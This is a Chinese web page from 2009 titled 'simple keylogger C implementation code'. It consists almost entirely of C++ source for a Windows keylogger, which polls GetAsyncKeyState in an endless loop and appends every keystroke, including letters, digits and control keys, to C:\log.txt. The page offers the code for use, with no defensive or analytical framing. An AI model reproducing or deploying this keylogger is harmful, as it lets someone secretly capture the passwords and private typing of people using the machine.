简单键盘记录C实现代码

2009-10-3 01:17 455 0

摘要: #include <windows.h>#include <Winuser.h>#include <string>#include <fstream>s...

关键词： KeyString Key else fstream VK std TempString include string Filename

#include <windows.h>#include <Winuser.h>#include <string>#include <fstream>std::string GetKey(int Key){std::string KeyString = "";if (Key == 8)KeyString = "[delete]";else if (Key == 13)KeyString = "\n";else if (Key == 32)KeyString = " ";else if (Key == VK_PAUSE)KeyString = "[PAUSE]";else if (Key == VK_CAPITAL)KeyString = "[CAPITAL]";else if (Key == VK_SHIFT)KeyString = "[SHIFT]";else if (Key == VK_TAB)KeyString = "[TABULATOR]";else if (Key == VK_CONTROL)KeyString = "[CTRL]";else if (Key == VK_ESCAPE)KeyString = "[ESCAPE]";else if (Key == VK_END)KeyString = "[END]";else if (Key == VK_HOME)KeyString = "[HOME]";else if (Key == VK_LEFT)KeyString = "[left]";else if (Key == VK_RIGHT)KeyString = "[right]";else if (Key == VK_UP)KeyString = "[UP]";else if (Key == VK_DOWN)KeyString = "[DOWN]";else if (Key == VK_SNAPSHOT)KeyString = "[SNAPSHOT]";else if (Key == VK_NUMLOCK)KeyString = "[NUMLOCK]";else if (Key == 190 || Key == 110)KeyString = ".";else if (Key >=96 && Key <= 105)KeyString = Key-48;else if (Key > 47 && Key < 60)KeyString = Key;if (Key != VK_LBUTTON || Key != VK_RBUTTON){if (Key > 64 && Key < 91){if (GetKeyState(VK_CAPITAL))KeyString = Key;else{Key = Key + 32;KeyString = Key;}}}return KeyString;}int main(){std::string Filename = "C:\\log.txt";std::string TempString = "";std::fstream FStream;FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);while(true){Sleep(5);for(int i = 8; i < 191; i++){if(GetAsyncKeyState(i)&1 ==1){TempString = GetKey (i);FStream.write(TempString.c_str(), TempString.size());FStream.close();FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);}}}}

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